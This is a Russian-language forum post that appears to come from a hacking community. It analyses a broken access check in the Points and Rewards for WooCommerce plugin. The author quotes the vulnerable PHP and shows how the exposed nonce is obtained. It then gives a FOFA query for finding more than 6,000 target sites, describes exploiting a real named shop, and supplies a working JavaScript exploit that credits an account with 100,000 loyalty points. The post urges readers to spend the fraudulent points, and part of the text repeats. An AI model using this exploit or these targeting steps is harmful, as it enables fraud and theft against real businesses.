Приветствую, решил продолжить делиться своим опытом и написать ещё одну статью, вдруг кому-то будет полезно. Сразу скажу - я не гуру, сам учусь, копаю плагины, читаю код и иногда нахожу довольно интересные вещи. Если где-то ошибся - аргументированную критику всегда готов выслушать.
В этот раз в работу попал плагин Points and Rewards for WooCommerce. Плагин не маленький, функционала много, логики тоже хватает, а значит шанс на ошибки резко возрастает. Как показывает практика - именно такие плагины чаще всего и дырявые.
wordpress.org
Откроем архив и первым делом посмотрим что делают AJAX хуки. Файл
Префикс
Ищем где создается nonce
grep -r "wp_create_nonce.*wps-wpr-verify-nonce" .
Находим в
А теперь посмотрим на функцию
admin/class-points-rewards-for-woocommerce-admin.php
А вот функция которая реально обновляет очки: public function wps_update_points_of_users
Видите проблему? Никакого
И так у нас уже есть nonce для вызова функций и обращения к ним и так же у нас функция которая может создать
CSV с нужным нам количеством баллов и импортировать себе в акк после чего они добавятся к нам в акк, а ведь все просто если в этих функция была бы проверка
то всего бы этого у нас не было
Теперь надо найти уязвимые таргеты и на них все проверить, а то локально проверять же скучно мы любим реальный тест, пишем в FOFA : body="/wp-content/plugins/points-and-rewards-for-woocommerce/" получаем больше 6к сайтов, берем сайт из первой страницы https://theveganbeauty.ae/
регистрируем акк и переходим в points
Проверяю максимально просто - открываю сайт, консоль браузера и пишу: console.log(wps_wpr.wps_wpr_nonce); и получаю nonce , ну теперь осталось за малым просто составить запрос и отправить с нашим email на начисление баллов
Обновляем страницу
наши баллы на месте , у каждого магазина своя политика использования баллов по этому если надо ищите дюпайте себе баллы и отоваривайтесь на них))
вот POC ,
Всех поздравляю с наступающим новым годом! Всем процветания в новом году и что бы всякая чепуха (скамерская) обходила вас стороной ! "А что нам хулиганам надо? Немерено бабок и ещё столько же вдобавок"
В этот раз в работу попал плагин Points and Rewards for WooCommerce. Плагин не маленький, функционала много, логики тоже хватает, а значит шанс на ошибки резко возрастает. Как показывает практика - именно такие плагины чаще всего и дырявые.
Points and Rewards for WooCommerce – Create Loyalty Programs, Reward Customer Purchases, User Badges, Gamification
Points and Rewards for WooCommerce offer a reward for points to your customers for their activities & increase customer loyalty.
includes/class-points-rewards-for-woocommerce.php:
PHP:
$this->loader->add_action( 'wp_ajax_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_points_update', $plugin_admin, 'wps_wpr_points_update' );
$this->loader->add_action( 'wp_ajax_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_nopriv_wps_wpr_select_category', $plugin_admin, 'wps_wpr_select_category' );
$this->loader->add_action( 'wp_ajax_wps_large_scv_import', $plugin_admin, 'wps_large_scv_import' );
Префикс
wp_ajax_ означает что к действию допускаются все авторизованные пользователи. WordPress автоматически проверяет только факт логина, а дополнительные права разработчик должен добавить сам (через current_user_can или проверку nonce). В функции импорта CSV таких проверок нет, поэтому любой вошедший пользователь может вызвать действие.Ищем где создается nonce
wps-wpr-verify-nonce:grep -r "wp_create_nonce.*wps-wpr-verify-nonce" .
Находим в
public/class-points-rewards-for-woocommerce-public.php
PHP:
public function enqueue_scripts() {
wp_enqueue_script( $this->plugin_name, WPS_RWPR_DIR_URL . 'public/js/points-rewards-for-woocommerce-public.min.js', array( 'jquery', 'clipboard' ), $this->version, false );
$wps_wpr = array(
'ajaxurl' => admin_url( 'admin-ajax.php' ),
'wps_wpr_nonce' => wp_create_nonce( 'wps-wpr-verify-nonce' ),
А теперь посмотрим на функцию
wps_large_scv_import() и тут становится весело. Эта функция предназначена для админов - они могут загрузить CSV файл и массово изменить очки пользователям. Обычно такие функции должны быть доступны только администраторам, но тут как всегда индусы все сломали.admin/class-points-rewards-for-woocommerce-admin.php
Код:
public function wps_large_scv_import() {
check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );
$start = isset( $_POST['start'] ) ? sanitize_text_field( wp_unslash( intval( $_POST['start'] ) ) ) : 0;
$chunk_size = 1000; // Adjust chunk size as needed.
$temp_file_path = ! empty( $_FILES['userpoints_csv_import']['tmp_name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['tmp_name'] ) ) : '';
$file_path = ! empty( $_FILES['userpoints_csv_import']['name'] ) ? sanitize_text_field( wp_unslash( $_FILES['userpoints_csv_import']['name'] ) ) : '';
А вот функция которая реально обновляет очки: public function wps_update_points_of_users
Код:
public function wps_update_points_of_users( $wps_user_email, $wps_user_points, $import_points_reason ) {
check_ajax_referer( 'wps-wpr-verify-nonce', 'wps_nonce' );
$user = get_user_by( 'email', $wps_user_email );
$wps_wpr_export_table_option = ! empty( $_POST['wps_wpr_export_table_option'] ) ? sanitize_text_field( wp_unslash( $_POST['wps_wpr_export_table_option'] ) ) : 'add';
if ( isset( $user ) ) {
$user_id = $user->ID;
$get_user_points = get_user_meta( $user_id, 'wps_wpr_points', true );
$get_user_points = ! empty( $get_user_points ) ? (int) $get_user_points : 0;
$wps_user_points = ! empty( $wps_user_points ) ? $wps_user_points : 0;
$admin_points = get_user_meta( $user_id, 'points_details', true );
$admin_points = ! empty( $admin_points ) && is_array( $admin_points ) ? $admin_points : array();
$today_date = date_i18n( 'Y-m-d h:i:sa' );
// calculate points according to import option.
$wps_update_csv_points = 0;
$sign = '+';
if ( 'add' === $wps_wpr_export_table_option ) {
$wps_wpr_reason = $import_points_reason;
$sign = '+';
$wps_update_csv_points = $get_user_points + (int) $wps_user_points;
} elseif ( 'subtract' === $wps_wpr_export_table_option ) {
$wps_wpr_reason = $import_points_reason;
$sign = '-';
$wps_update_csv_points = $get_user_points - (int) $wps_user_points;
} elseif ( 'override' === $wps_wpr_export_table_option ) {
// translators: %s: get_user_points.
$wps_wpr_reason = $import_points_reason;
$wps_update_csv_points = (int) $wps_user_points;
}
if ( isset( $wps_user_points ) && ! empty( $wps_user_points ) ) {
if ( isset( $admin_points['admin_points'] ) && ! empty( $admin_points['admin_points'] ) ) {
$admin_array = array(
'admin_points' => $wps_user_points,
'date' => $today_date,
'sign' => $sign,
'reason' => $wps_wpr_reason,
);
$admin_points['admin_points'][] = $admin_array;
} else {
$admin_array = array(
'admin_points' => $wps_user_points,
'date' => $today_date,
'sign' => $sign,
'reason' => $wps_wpr_reason,
);
$admin_points['admin_points'][] = $admin_array;
}
update_user_meta( $user_id, 'points_details', $admin_points );
update_user_meta( $user_id, 'wps_wpr_points', $wps_update_csv_points );
// send sms.
wps_wpr_send_sms_org( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
// send messages on whatsapp.
wps_wpr_send_messages_on_whatsapp( $user_id, /* translators: %s: sid */ sprintf( esc_html__( 'Your points have been updated by the admin through a CSV file. Your current total points is %s', 'points-and-rewards-for-woocommerce' ), $admin_points ) );
}
}
return true;
}
Видите проблему? Никакого
current_user_can('manage_options')! Функция принимает CSV файл где в первой колонке email пользователя, во второй количество очков, в третьей причина. И просто обновляет очки для указанного email. А nonce мы уже знаем где взять - он доступен всем через JavaScript.И так у нас уже есть nonce для вызова функций и обращения к ним и так же у нас функция которая может создать
CSV с нужным нам количеством баллов и импортировать себе в акк после чего они добавятся к нам в акк, а ведь все просто если в этих функция была бы проверка
current_user_canто всего бы этого у нас не было
Теперь надо найти уязвимые таргеты и на них все проверить, а то локально проверять же скучно мы любим реальный тест, пишем в FOFA : body="/wp-content/plugins/points-and-rewards-for-woocommerce/" получаем больше 6к сайтов, берем сайт из первой страницы https://theveganbeauty.ae/
регистрируем акк и переходим в points
Проверяю максимально просто - открываю сайт, консоль браузера и пишу: console.log(wps_wpr.wps_wpr_nonce); и получаю nonce , ну теперь осталось за малым просто составить запрос и отправить с нашим email на начисление баллов
Обновляем страницу
наши баллы на месте , у каждого магазина своя политика использования баллов по этому если надо ищите дюпайте себе баллы и отоваривайтесь на них))
вот POC ,
JavaScript:
(function () {
var nonce = wps_wpr.wps_wpr_nonce;
var ajaxurl = wps_wpr.ajaxurl;
var userEmail = 'exploit@gmail.com';
var pointsToAdd = 100000;
var csvContent = 'Email,Points,Reason\n';
csvContent += userEmail + ',' + pointsToAdd + ',Imported points\n';
var blob = new Blob([csvContent], { type: 'text/csv;charset=utf-8;' });
var csvFile = new File([blob], 'userpoints.csv', { type: 'text/csv' });
var formData = new FormData();
formData.append('action', 'wps_large_scv_import');
formData.append('wps_nonce', nonce);
formData.append('userpoints_csv_import', csvFile);
formData.append('wps_wpr_export_table_option', 'add');
formData.append('start', 0);
jQuery.ajax({
url: ajaxurl,
type: 'POST',
data: formData,
processData: false,
contentType: false,
success: function (response) {
if (response.finished) {
alert(pointsToAdd + ' points added successfully');
}
},
error: function (xhr, status, error) {
console.error(error);
console.error(xhr.responseText);
}
});
})();
Всех поздравляю с наступающим новым годом! Всем процветания в новом году и что бы всякая чепуха (скамерская) обходила вас стороной ! "А что нам хулиганам надо? Немерено бабок и ещё столько же вдобавок"